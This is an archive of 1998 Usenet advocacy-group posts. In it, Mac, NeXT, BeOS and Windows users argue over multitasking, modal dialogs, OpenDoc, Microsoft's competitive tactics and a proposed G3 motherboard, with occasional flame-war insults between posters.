Date: Sat, 18 Jul 1998 22:26:50 GMT
NNTP-Posting-Date: Sat, 18 Jul 1998 15:26:50 PDT
In article <6or4sj$83a$1@supernews.com>, a l t en ber@nashville.com
(delete spaces, spam trick) wrote:
[SNIP]
> Fortunately, I figured out that I could use the FTP function of the Netscape
> browser to upload it to my server. It took a couple of minutes over their
> ISDN line to upload each picture. To save time and money ($24/hr), while the
> first file was uploading, I went to scan the second image. And guess
> what---can't do that! I couldn't switch back to HP's software until the
> upload was complete. I haven't had to deal with the lack of mutlitasking
> since abandoning the Mac platform for NeXT 9 years ago. What amazes me is
> that Apple managed stay in business with such an OS.
[SNIP]
Oy vey, I'm getting sick of this. The Mac OS can multitask, it's just
cooperative multitasking instead of preemptive. It's up to the apps to get
along and say "ok, you can do something now". A good FTP client like Fetch
won't put up a modal dialog when uploading (if you don't understand the
terminalogy, a 'modal dialog' is a dialog window that doesn't let you do
anything else. It's usefull for important warning and error dialogs, but
some developers are so moronic and use them for things like uploads, etc).
But Netscape's FTP is notoriously horrible in every respect.
--
-Forrest Cameranesi
Owner of The Universe, seeking employees for "Ruler" and "Master" positions. Apply at front desk. All prices subject to change. Universe, the Universe logo, and all objects contained within are (TM) and (C) Everything Unlimited, a wholly owned subsidary of Cameranesi Enterprises. Remember:
"We know what you want. We know what you need. We know where you live."
Date: Sat, 18 Jul 1998 20:31:21 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.ms-windows.advocacy
Subject: Re: Whats up with Edwin Thorne?
Message-ID: <joe.ragosta-1807982031210001@elk61.dol.net>
References: <macghod-1807981251560001@sdn-ar-001casbarp049.dialsprint.net> <MPG.101aed208700dc2b9899bb@news.supernews.com>
In article <MPG.101aed208700dc2b9899bb@news.supernews.com>,
don.brown@cesoft.com (Donald Brown) wrote:
> And what's up with all the personal attacks on Edwin?
>
> We're hearing "Edwin's a fool, Edwin's a moron"
>
> But that doesn't stop people from spending what must be hours cross-
> referencing his messages with other messages. "Quick, Watson, the
> Usenet's afoot!"
>
> You know, there are those I consider fools. On both sides of the street.
> I have developed a sure-fire strategy for dealing with them. I ignore
> them.
>
> The attention Edwin is getting, makes me think he's accomplishing
> something.
Yeah. He's reducing the number of personal attacks directed at me.
;-)
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Date: Sat, 18 Jul 1998 20:32:55 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Profits up, revenues continue to slide
Message-ID: <joe.ragosta-1807982032560001@elk61.dol.net>
References: <6oj739$aqu$1@lwnws01.ne.highway1.com> <rmcassid-1507981623500001@dante.eng.uci.edu> <6ojtmb$otj$2@lwnws01.ne.highway1.com> <rmcassid-1607980934480001@dante.eng.uci.edu> <joe.ragosta-1607982129100001@elk123.dol.net> <6omp7j$m5t$2@lwnws01.ne.highway1.com> <joe.ragosta-1707981312160001@wil54.dol.net> <6op6js$9dk$1@lwnws01.ne.highway1.com> <joe.ragosta-1807981021050001@elk79.dol.net> <6oqk09$852$1@lwnws01.ne.highway1.com>
In article <6oqk09$852$1@lwnws01.ne.highway1.com>, jkheit@mediaone.net wrote:
>
> And a reasoned and unbiased thought has never passed through the chasm
> between your ears, you lecherous, slandering piece of biled sewer spouting
> trash. I think all of us have tried to see things from your perspective, but
> none of us were able to get our heads that far up our asses.
Just what I thought. Incapable of rational discussion.
*plonk*
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: 19 Jul 1998 01:28:13 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6ori3d$sbi$1@lwnws01.ne.highway1.com>
References: <6or4sj$83a$1@supernews.com> <alex-1807981924120001@castle.webis.net>
alex@webis.net (Alex Kac) wrote:
> I would like to note that I can easily scan images off my scanner and ftp
> at the same time. I can even install apps while scanning (at least some
> newer ones that don't require any apps to quit). Basically, Kinko's has
> always had old software and old hardware. Plus, I believe that HP's Twain
> drivers are pretty bad.
Yes, nothing is wrong with the mac's ability to multitask. It's pervasive.
It's just peachy. It's koolaid red.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@mediaone.net
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.ibm.pc.hardware.chips,comp.sys.next.advocacy
Subject: Re: Xeon power at your fingertips
Date: Sat, 18 Jul 1998 16:55:51 -0700
Organization: Great till Apple got rid of the newton
Message-ID: <macghod-1807981655510001@sdn-ar-001casbarp196.dialsprint.net>
References: <35b31c7b.50302640@news> <joe.ragosta-1207980723430001@elk68.dol.net> <35aba2a8.24727122@news> <joe.ragosta-1207981621430001@client-151-196-78-86.dol.net> <35aa9f28.1648787@news> <joe.ragosta-1307980700470001@elk57.dol.net> <35b108e7.9809412@news> <joe.ragosta-1507982051470001@elk81.dol.net> <macghod-1507981958110001@sdn-ar-001casbarp248.dialsprint.net> <joe.ragosta-1607980703050001@elk63.dol.net>
In article <joe.ragosta-1607980703050001@elk63.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> In article <macghod-1507981958110001@sdn-ar-001casbarp248.dialsprint.net>,
> macghod@concentric.net (Steve Sullivan) wrote:
>
> > In article <joe.ragosta-1507982051470001@elk81.dol.net>,
> > joe.ragosta@dol.net (Joe Ragosta) wrote:
> >
> > > > I see, just because I decide I want my site to be informational and
> > > > useful, instead of trying to get others to worship a computing
> > > > platform, I should take it down? Unfortunately, too many companies
> > > > use it for internal testing of their pre-production products, so I
> > > > can't take it down.
> > >
> > > YOU are the one who said it's not supposed to make anyone believe
anything.
> > >
> > > If your site isn't expected to be believable, it serves no purpose.
> >
> > Good god JOe, we all know you are a very bright guy, so you *MUST*
> > PURPOSEFULLY acting so dense.
> >
> > He has made it clear that the purpose of his site is to provide factual
> > information (whether he succedes in making it factual or not is up for
> > debate) and NOT as a advocacy site. And from this you say "if your site
> > isnt expected to be believable, it serves no purpose" HUH? He never said
>
> Wrong. He said his site isn't suppsed to make anyone believe anything.
No, up above it says "I want my site to be informational and
useful, instead of trying to get others to worship a computing
platform"
I know you are INTENTIONALLY being dense Joe, because I know you are very
smart. He didnt say his site isnt supposed to make anyone believe
anything he said he DOESNT care if people do believe it.
If one posts what they believe is factual information, its perfectly
reasonable for them to not care if people believe it or not. Its
perfectly reasonable to put up information for the sake of putting up
factual information, rather than being hell bent on convincing people.
He says "I want my site to be informational and
useful, instead of trying to get others to worship a computing
platform, I should take it down?"
and YOU in turn say "If your site isn't expected to be believable, it
serves no purpose", I think its obvious that either
a) you have a huge problem with reading comprehension
b) for some reason you are being difficult on purpose
SInce we all know you are a very smart guy, its definitely not A).
> Now, gee, if _I_ were making a benchmark site, I'd want people to believe
> that it had some meaning. I guess that doesn't apply to you or him.
>
> > any such thing about whether its believable or not, he only said he has no
> > intention of trying to convince people its believable, he is merely
> > posting (what he believes to be) the facts and letting the viewer decide
> > for themselves.
--
So many pedestrians, so little time.
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.ms-windows.advocacy
Subject: Re: Whats up with Edwin Thorne?
Date: Sat, 18 Jul 1998 17:59:18 -0700
Organization: Great till Apple got rid of the newton
Message-ID: <macghod-1807981759190001@sdn-ar-001casbarp256.dialsprint.net>
References: <macghod-1807981251560001@sdn-ar-001casbarp049.dialsprint.net> <MPG.101aed208700dc2b9899bb@news.supernews.com> <joe.ragosta-1807982031210001@elk61.dol.net>
In article <joe.ragosta-1807982031210001@elk61.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> In article <MPG.101aed208700dc2b9899bb@news.supernews.com>,
> don.brown@cesoft.com (Donald Brown) wrote:
>
> > And what's up with all the personal attacks on Edwin?
> >
> > We're hearing "Edwin's a fool, Edwin's a moron"
> >
> > But that doesn't stop people from spending what must be hours cross-
> > referencing his messages with other messages. "Quick, Watson, the
> > Usenet's afoot!"
> >
> > You know, there are those I consider fools. On both sides of the street.
> > I have developed a sure-fire strategy for dealing with them. I ignore
> > them.
> >
> > The attention Edwin is getting, makes me think he's accomplishing
> > something.
>
> Yeah. He's reducing the number of personal attacks directed at me.
Oh please. Joe occasionally does get exasperated enough that he insults
people, but as a rule he is generally considerate to others. Edwin comes
here for nothing other than trolling. WIth the ammount of insults he
throws, how the hell can you blame people for insulting him back?!?!??!
Almost every post by him is a insult.
--
So many pedestrians, so little time.
From: trimil@nospam.earthlink.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: Sat, 18 Jul 1998 21:23:24 -0400
Organization: EarthLink Network, Inc.
Message-ID: <35B14A89.6E49@nospam.earthlink.net>
References: <6oj5a0$goe$1@hole.sdsu.edu> <B1D27F61-1F256@206.165.43.178> <6ojoum$tvm$1@nnrp1.dejanews.com> <6okstp$mkm@nntp02.primenet.com> <gmgraves-1607981316130001@sf-pm5-16-80.dialup.slip.net> <35AE858A.2576@betabreakers.com> <stevehix-1607982030060001@ip30.safemail.com> <Pine.BOS.3.96.980717065604.278E-100000@fbnp> <gmgraves-1707981124460001@sf-pm5-10-74.dialup.slip.net> <Pine.BOS.3.96.980717231938.231B-100000@fbnp> <35B0A7E5.4BE@nospam.earthlink.net> <35B0B51D.5A2@REMOVE.wayne.edu> <OSzgPjms9GA.301@upnetnews05>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Daniel Berlin wrote:
>
> >Now with the DOJ on M$'s back, and Be's positioning the BeOS as a
> >media OS to run alongside Windoze or MacOS, not a general purpose OS,
> >it's not likely they will have much desire to try and squash it.
> >
> Right.
> Some of us even write software for it.
> Then again, i'm not the typical MS'er. I work part time for MS Research
> during the school year to help pay for college.
> How exactly would MS "squash" it?
> It's an OS.
> Now, before i start my rant, i don't speak for MS. In fact, i don't intern
> there over the summer, so i'm not working for them technically right now. So
> don't start in about my company or this or that. It just helps pay the
> absurdly high price of college tuition these days.
> If hypothetically, MS did what they supposedly did in other cases that
> somehow caused the "squashing" of other apps (I'm trying to tread lightly, i
> don't feel like getting in trouble, even though i'm currently not working
> for them), they would have to give NT or Win98 away free or bundle it with
> win98 or NT on computers, or make a new licensing agreement that does this
> or that.
> Sounds silly, doesn't it? Bundling win98 with win98. preinstalling NT on
> computers with NT installed. Making licensing win98 a condition of licensing
> win98.
> Yup, because you can't do what's already supposedly being done.
> They can't possibly try to squash it anymore than they supposedly are now.
Psst, Mr. software developer, I hear you're porting an app to BeOS.
That's really nice but wasn't that originally an NT app? Gee, it sure
would be unfortunate if we forgot to send those NT6.0 developers
releases in a timely manner - y'know sometimes things get lost in the
mail...
Oh I'm soooo sorry, M$ would _never_ do anything like that, would they?
> Except by buying Be i guess.
> I'm sure that deal would get approved. "You want to buy an OS company? Sure.
> Go for it!"
M$ doesn't need anyone's approval to buy privately held companies - they
do it many times a year.
> Seriously people, you say "squash" or destroy without coming up with good
> reasons how.
M$ wrote the book on destroying the competition - I believe the primary
author is Steve Balmer.
> The BeOS is not an application. It's an OS. That's like saying MS is going
> to try to squash Solaris.
They are trying to undermine and eventually eliminate all flavors of
UNIX as an enterprise OS. I believe squashing Solaris is small potatoes
compared with that goal.
> I repeat the question: What could MS possibly do to destroy BeOS that isn't
> already supposedly/allegedly being done?
They will act strategically to protect NT from any and all threats.
Remember, Billy boy has "bet the comapny on it".
James McSheehy
<to reply, make the necessary changes in my e-mail address>
From: "Pinochet" <dont!graywant!home!@spam!sprinthere!mail.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: Sat, 18 Jul 1998 20:15:48 -0500
Organization: EarthLink Network, Inc.
Message-ID: <6orhe0$nl6$1@holly.prod.itd.earthlink.net>
References: <6oj5a0$goe$1@hole.sdsu.edu> <B1D27F61-1F256@206.165.43.178> <6ojoum$tvm$1@nnrp1.dejanews.com> <6okstp$mkm@nntp02.primenet.com> <gmgraves-1607981316130001@sf-pm5-16-80.dialup.slip.net> <35AE858A.2576@betabreakers.com> <stevehix-1607982030060001@ip30.safemail.com> <Pine.BOS.3.96.980717065604.278E-100000@fbnp> <gmgraves-1707981124460001@sf-pm5-10-74.dialup.slip.net> <Pine.BOS.3.96.980717231938.231B-100000@fbnp> <35B0A7E5.4BE@nospam.earthlink.net>
trimil@nospam.earthlink.net wrote in message
>The moment BeOS gets a minimal following with x86 developers, a certain
>company in Redmond WA will squash it like a bug. All this talk about
>BeOS somehow making it on Wintel is laughable.
Intel doesn't think so, but then they are just using Be as a spoiler against
Microsoft, which is all to the good in the end.
From: alex@webis.net (Alex Kac)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Sat, 18 Jul 1998 19:24:12 -0500
Organization: Web Information Solutions---Interactive and database web design studio
Message-ID: <alex-1807981924120001@castle.webis.net>
References: <6or4sj$83a$1@supernews.com>
NNTP-Posting-Date: 19 Jul 1998 00:24:08 GMT
In article <6or4sj$83a$1@supernews.com>, a l t en ber@nashville.com
(delete spaces, spam trick) wrote:
: ISDN line to upload each picture. To save time and money ($24/hr), while the
: first file was uploading, I went to scan the second image. And guess
: what---can't do that! I couldn't switch back to HP's software until the
: upload was complete. I haven't had to deal with the lack of mutlitasking
: since abandoning the Mac platform for NeXT 9 years ago. What amazes me is
: that Apple managed stay in business with such an OS.
:
I would like to note that I can easily scan images off my scanner and ftp
at the same time. I can even install apps while scanning (at least some
newer ones that don't require any apps to quit). Basically, Kinko's has
always had old software and old hardware. Plus, I believe that HP's Twain
drivers are pretty bad.
--
Web Information Solutions CEO <http://www.WebIS.net>
VersaCom Chief Technology Officer <http://www.VersaCom.com>
I don't speak for my employer, which oddly enough is myself
From: "Ed Deans." <eadeans@san.rr.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
References: <35950368.F8A5D7A7@nstar.net> <6n3g42$1nf$1@ndnws01.ne.highway1.com> <andyba-ya02408000R0107981550100001@news> <6nekto$j0g4@odie.mcleod.net> <Pine.SOL.3.96.980702105957.24877C-100000@ux10.cso.uiuc.edu> <uzpendo55.fsf@ai.mit.edu> <Pine.SOL.3.96.980706144344.8864A-100000@ux9.cso.uiuc.edu> <6oddfc$c88$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980713131556.7501A-100000@ux7.cso.uiuc.edu> <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <m%_q1.191$E5.1672335@proxye1.san.rr.com> <joe.ragosta-1507980648180001@elk60.dol.net> <2H2r1.193$E5.1810459@proxye1.san.rr.com> <trev-1507981123530001@nas-p1.usc.net>
Subject: Re: Mac OS X UI
Message-ID: <IFcs1.665$E5.4873657@proxye1.san.rr.com>
Date: Sun, 19 Jul 1998 02:16:08 GMT
NNTP-Posting-Date: Sat, 18 Jul 1998 19:16:08 PDT
Organization: TWC Road Runner, San Diego, CA
Trevor Zion Bauknight wrote in message ...
>In article <2H2r1.193$E5.1810459@proxye1.san.rr.com>, "Ed Deans."
><eadeans@san.rr.com> wrote:
>
>While I'm sure there are people in this newsgroup who are capable of
>expounding on it at length, Apple's work with OpenDoc was a huge success
>as proof of the document-centric concept. [...]
>released parts... But most of the people who used it found it eminently
>cool.
Difficulties coming out of the implementation (I/O was especially slow) as
well as a general softening of developer enthusiasm regarding new
Mac-specific development (then waining OS/2 shipping with an implementation
of OpenDoc was insufficient to compel developers to write cross-platform
parts--if that was even possible). WordPerfect/Novell's dropping the ball
on shipping a Windows version, which IBM eventually had to take over (and
did ship...I've got OD 1.2 for Windows on my Win9x system) was a *major*
snag in the proliferation of OpenDoc, imo.
>One of the last things that was said by Apple on the matter was that they
>felt Java and Javabeans would address some of the same functionality.
>Indeed, Digital Harbor had already begun implementing its killer WAV
>work-processor in Java. I don't know if it ever came out. I'll try to
>find some statements from Apple on this.
AFAIK, Java...and JavaBeans completely lack any OpenDoc-like user model. At
a recent Apple Road Show, they were pushing Yellow Box as the successor to
OpenDoc--at least from a programmers POV and gave little or no attention to
the user experience of OpenDoc. On the Apple HI mailing list, we've been
told sternly to not quote OpenDoc guidelines (the topic was how to do
Undo/Redo in Rhapsody apps) as it's dead technology.
Personally, I found that take ridiculous. A guideline for a Redo/Undo model
needed be ignored because the implementation has been left behind. It
should at least be considered as a possible model--afterall, it was good
enough to be official once!
[Apple's Java push]
>Regarding the PPT aspect of Pink: I'm not familiar with it.
I'll make a separate post (or series of posts) addressing this as best as
I'm able.
Something worth noting was a very old interview (from "Semaphore Signal,"
March 26, 1986) I read with Dan Smith (worked on Lisa Desktop Manager,
because Lisa UI Coordinator and consulted on the original Mac). He noted
that the Mac would move towards the Lisa model of multiple apps, etc. but
more interestingly was his mention of Apple's direction for the Mac UI:
<--begin block quote-->
"Signal: Where do you see the user interface going? What will future
products look like?"
"Smith: What we'll see in the long run, in terms of software products
anyway,
is a much tighter integration. You'll be able to buy small tools that fit
into the rest of the system and work in combination with all other tools.
Say, for example, you're trying to compose a memo to someone. In front of
you is your piece of paper in electronic form, and you're typing or writing
on it. You want to do something like check the spelling of a word. Rather
than necessarily invoking the spelling checker built into the word
processing program you're using, you simply use the spelling checker you
purchased the other day. It would be tightly coordinated with the overall
system, so you could take that tool or any other tool and use it to operate
on the document you're currently working on. What it's going to take to do
something like this is a real solid low-level system design that provides a
common data structure format everyone can plug into and that provides very
easy access to all data on the system, whether it's a picture or a document
or a database or whatever. Some sort of uniform style, such that any tool
that's around can be used on any document. Some of that has been done to
some degree with systems like Smalltalk, but nothing in any commercial
sense."
<--end block quote-->
For the full interview (and all the issues of Signal/Semaphore Signal) go to
>http://www.semaphorecorp.com/ss>.
Sounds like the seeds of OpenDoc & Pink to me...
>It sounds
>like some of what Be has done with its integrated database. Did the
>Newton OS implement something like this in it's single-level object
>store? What about XML for integrating all kinds of everyday objects into
>a network-ready database? NeXTSTEP had things like Digital Librarian
>which indexed system data and made it available to other
>apps...SpiderWoman carried this concept all the way across the Web. Do
>such things address some of the day-to-day aspects of the UI that Pink
>tried to address? I may be completely off-base here; but I'd appreciate
>talking about it.
I'm not too familiar with SpiderWoman, XML or Newton OS and haven't kept up
with Be's progress/plans of late.
>The Mac UI can certainly be improved to work better with human workflow
>patterns, but in terms of direct interaction with a person, aesthetics,
>ease of accomplishing computer tasks, etc. it can hardly be beaten.
"Direct Interaction?" I think a reasonable argument that IBM's OS/2
WorkPlace Shell has superior "direct interaction with a person" than the Mac
GUI. It is afterall, of the class OOUI (object-oriented UI) rather than a
GUI and the feedback the user gets often superior to that of the Mac UI.
Immediate feedback, heavy emphasis on communicating contextually valid
operations, and superior error messages are three areas where the OS/2 WPS
out-shines the Mac GUI. Creating a Shadow (a 'live' alias) via drag/drop in
OS/2 shows "link-emphasis" to communicate to the user that a link is being
created. Mac OS 7.5.x added drag target emphasis in the Finder which OS/2's
WPS had before then. The Find capabilities in OS/2 were superior as well.
Finally, show me another OS which offers you the chance to resolve a naming
conflict (on a drag/drop copy or move) easily by offering a dialog of these
choices: 1. replace the old one 2. rename the new one with a custom name 3.
rename the new one automatically by appending ":" + a number...the majority
of system error messages are easy to understand and offer reasonable
suggestions/options for solving the issue at hand. Help/detailed info is
often available. For it's time (little changed after its debut in '92) it
was a breath of fresh air.
The "aesthetics" issue is dependant on personal tastes and not worth arguing
in this newsgroup. :)
"Computer tasks?" I'm not sure what you mean by that and that's something
which might be debatable as well. That's not where I want to take the
thread so I'm not going to address that point.
See my next post for info on People, Places and Things...
--Ed.
Message-ID: <35B16136.5FA1@REMOVE.wayne.edu>
From: Eric Iverson <eric_iverson@REMOVE.wayne.edu>
Organization: WSU
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
References: <6oj5a0$goe$1@hole.sdsu.edu> <B1D27F61-1F256@206.165.43.178> <6ojoum$tvm$1@nnrp1.dejanews.com> <6okstp$mkm@nntp02.primenet.com> <gmgraves-1607981316130001@sf-pm5-16-80.dialup.slip.net> <35AE858A.2576@betabreakers.com> <6op87l$9hq$1@nnrp1.dejanews.com> <35B08C8B.7E9A@REMOVE.wayne.edu> <19980718131133152609@pm2-2-03.aug.com>
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Date: Sun, 19 Jul 1998 02:59:18 GMT
NNTP-Posting-Date: Sat, 18 Jul 1998 22:59:18 EDT
> > What was the Macintosh's killer app? MacPaint? MacLogo?
> >
> > My point being these things take time.
>
> It was a combination of Pagemaker and the Laserwriter.
That's right.
And where was Pagemaker when the Mac Debuted?
Where was the LaserWriter? Postscript? Aldus and Adobe?
Nowhere! MacWrite and MSWord 1.0 were the
closest things to DTP, and the Imagewriter
was the state of the art in Mac printing.
FWIW I used Pagemaker 1.2 and the Apple LaserWriter
when they were the hottest thing out. Before then,
the Mac was basically a joke to graphics professionals.
Especially when you consider that in '82 I was using
a Xerox 300 dpi laser printer running the Interpress page
description language. What took Apple so long?
--Eric
From: mcgredo@otter.mbay.net (Donald R. McGregor)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: 19 Jul 1998 03:38:40 GMT
Organization: A highly funded yet unoffical government agency
Message-ID: <900819436.724616@kelp.mbay.net>
References: <6oj5a0$goe$1@hole.sdsu.edu> <35B08C8B.7E9A@REMOVE.wayne.edu> <19980718131133152609@pm2-2-03.aug.com> <35B16136.5FA1@REMOVE.wayne.edu>
Cache-Post-Path: kelp.mbay.net!unknown@otter.mbay.net
In article <35B16136.5FA1@REMOVE.wayne.edu>,
Eric Iverson <eric_iverson@REMOVE.wayne.edu> wrote:
>Where was the LaserWriter? Postscript? Aldus and Adobe?
>Nowhere!
Just because Mac once didn't have a killer app, and then
did, does not mean that because Be does not have a killer
app, it will someday.
Those with experience with NeXT will testify to this.
(AppKit and custom development were OK, but more along
the lines of a sporadically violent barrrom brawler than killer.)
--
Don McGregor | "You want me to read a script, I'll read it."
mcgredo@mbay.net | --Peter Arnett
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Profits up, revenues continue to slide
Date: 19 Jul 1998 01:59:44 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6orjug$23$1@lwnws01.ne.highway1.com>
References: <6oj739$aqu$1@lwnws01.ne.highway1.com> <rmcassid-1507981623500001@dante.eng.uci.edu> <6ojtmb$otj$2@lwnws01.ne.highway1.com> <rmcassid-1607980934480001@dante.eng.uci.edu> <joe.ragosta-1607982129100001@elk123.dol.net> <6omp7j$m5t$2@lwnws01.ne.highway1.com> <joe.ragosta-1707981312160001@wil54.dol.net> <6op6js$9dk$1@lwnws01.ne.highway1.com> <joe.ragosta-1807981021050001@elk79.dol.net> <6oqk09$852$1@lwnws01.ne.highway1.com> <joe.ragosta-1807982032560001@elk61.dol.net>
joe.ragosta@dol.net (Joe Ragosta) wrote:
> In article <6oqk09$852$1@lwnws01.ne.highway1.com>, jkheit@mediaone.net
> wrote:
> > And a reasoned and unbiased thought has never passed through
> > the chasm between your ears, you lecherous, slandering piece
> > of biled sewer spouting trash. I think all of us have tried
> > to see things from your perspective, but none of us were able
> > to get our heads that far up our asses.
>
> Just what I thought. Incapable of rational discussion.
>
> *plonk*
Just as I discussed. Incapable of rational thought. I'm glad you like the
post. It's interesting you didn't quote the part where I showed you how
wrong you were. It was ok that you put forth the implication that I'm lying,
but not ok when I prove you wrong, that I get upset by by your slanderous
implications. Pretty typical there joe, keep at it.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@mediaone.net
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Sun, 19 Jul 1998 02:51:29 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6ormvh$56j$1@nnrp1.dejanews.com>
References: <6or4sj$83a$1@supernews.com>
In article <6or4sj$83a$1@supernews.com>,
a l t en ber@nashville.com (delete spaces, spam trick) wrote:
> I was doing a similar task in the University computer center, which has 7
> Sparc's and a zillion 166 MHz Gateway2000's running NT. While downloading a
> file using FTP, I tried to move the FTP dialog panel out of the way so that I
> could get on to other business, and it wouldn't budge for about 15 seconds.
> That's multitasking? That is far worse that I've experienced using a
> NeXTstation at 1/7 the speed. And this is the OS that is taking over the
> world?
The problem with NT is that each application is responsible for behaviour that
is found in the OS window manager. That means that you can't move, resize,
activate, etc. a window unless the application lets you. That might take a
while if the program is busy and doesn't use preemptive threads to handle the
work. OTOH, you can still use other applications without any problems.
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Sun, 19 Jul 1998 03:00:36 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6orngk$5rt$1@nnrp1.dejanews.com>
References: <6or4sj$83a$1@supernews.com> <forrestDELETE-THIS!-1807981526100001@term3-17.vta.west.net>
In article <forrestDELETE-THIS!-1807981526100001@term3-17.vta.west.net>,
forrestDELETE-THIS!@west.net (Forrest Cameranesi) wrote:
> Oy vey, I'm getting sick of this. The Mac OS can multitask, it's just
> cooperative multitasking instead of preemptive. It's up to the apps to get
> along and say "ok, you can do something now". A good FTP client like Fetch
> won't put up a modal dialog when uploading (if you don't understand the
> terminalogy, a 'modal dialog' is a dialog window that doesn't let you do
> anything else. It's usefull for important warning and error dialogs, but
> some developers are so moronic and use them for things like uploads, etc).
> But Netscape's FTP is notoriously horrible in every respect.
Two points. First, you are wrong about the behavior of modal dialogs in the
Mac OS. A modal dialog box can allow you to switch applications depending on
you code them (most movable modal dialogs allow you to do this). Two, the
reason that applications use non-movable modal dialogs is because movable
modal dialogs require a lot more code. That's Apple's fault. Look at NT, the
only dialog boxes that don't allow you to switch applications are those
generated by the operating system. And still dialog boxes are easier to
program in windows.
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: edremy@chem1.usc.edu (Eric Remy)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X GUI---3 clicks to any window?
Date: Sat, 18 Jul 1998 20:47:24 -0700
Organization: USC
Message-ID: <edremy-ya02408000R1807982047240001@nnrp.usc.edu>
References: <6or1kb$i6p@newsb.netnews.att.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
In article <6or1kb$i6p@newsb.netnews.att.com>,
gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
>However, to choose among multiple windows in an application, I don't
>think there is system-wide standard; it is application-specific.
>Under the applications I use, there is always a menu item that lets you
>choose between open windows. But this does not appear in one standard
>place in the menus. So, this is a deficiency in the current Mac GUI.
ApplWindows. Why Apple didn't bundle this into the OS years ago baffles
me- it gives you both a popup menu of applications anywhere on the screen,
plus a submenu listing all the open windows in the app. Essential in my
opinion, since I often have a dozen telnet windows open at a time.
From: me@thyls.muc.de (Thyl Engelhardt)
Newsgroups: comp.sys.next.advocacy
Subject: PPC for intel
Date: 19 Jul 1998 04:59:41 GMT
Organization: MUC.DE e.v -- private Internet access
Message-ID: <6oruft$hnh$1@guide.muc.de>
Allright, Apple, so you don't want to give us OPENSTEP/intel users an
upgrgade path for our old NEXTSTEP software.
Well, Apple, so you don't want to give us OPENSTEP/intel users our favoured
GUI, but only that Apple like stuff.
O.K., Apple, so you don't want to give us OPENSTEP/intel users a software
upgrade path to MacOS X.
But hey, what about a hardware upgrade path? Of course, I don't want to loose
all my investments in intel compatible technology, but I would accept
replacing the mainboards/CPUs with Mac compatible ones.
Therefore, I suggest that Apple develop a G3 based AT formated mainboard for
easy replacement in intel compatible computers (ATX should also be made
available).
Such a board would not to much differ from recent Apple layouts in
functionality. It should include:
G3 CPU socket
PCI and AGP slots
graphics chip
USB ports
IDE port
floppy controller
The only thing differing from Apple's genuine technology would imho be the
floppy controller.
Seriell, parallel ports, keyboard and mouse could all be implemented through
adapters and software.
SCSI adapters could either be used as they are (NCR without BIOS), or
modified (Adaptec 2940) or purchased separately. A graphics board would not
be necessary.
A modified personality card could be provided which would fit into one of the
unused slot covers of standard PC cases.
I believe that developmnet cost should not be too high and that an entirely
new market could be opened up for Apple reaching far beyond the OPENTSTEP
community.
Salut, Thyl Engelhardt
Message-ID: <35B16FA8.3913@REMOVE.wayne.edu>
From: Eric Iverson <eric_iverson@REMOVE.wayne.edu>
Organization: WSU
MIME-Version: 1.0
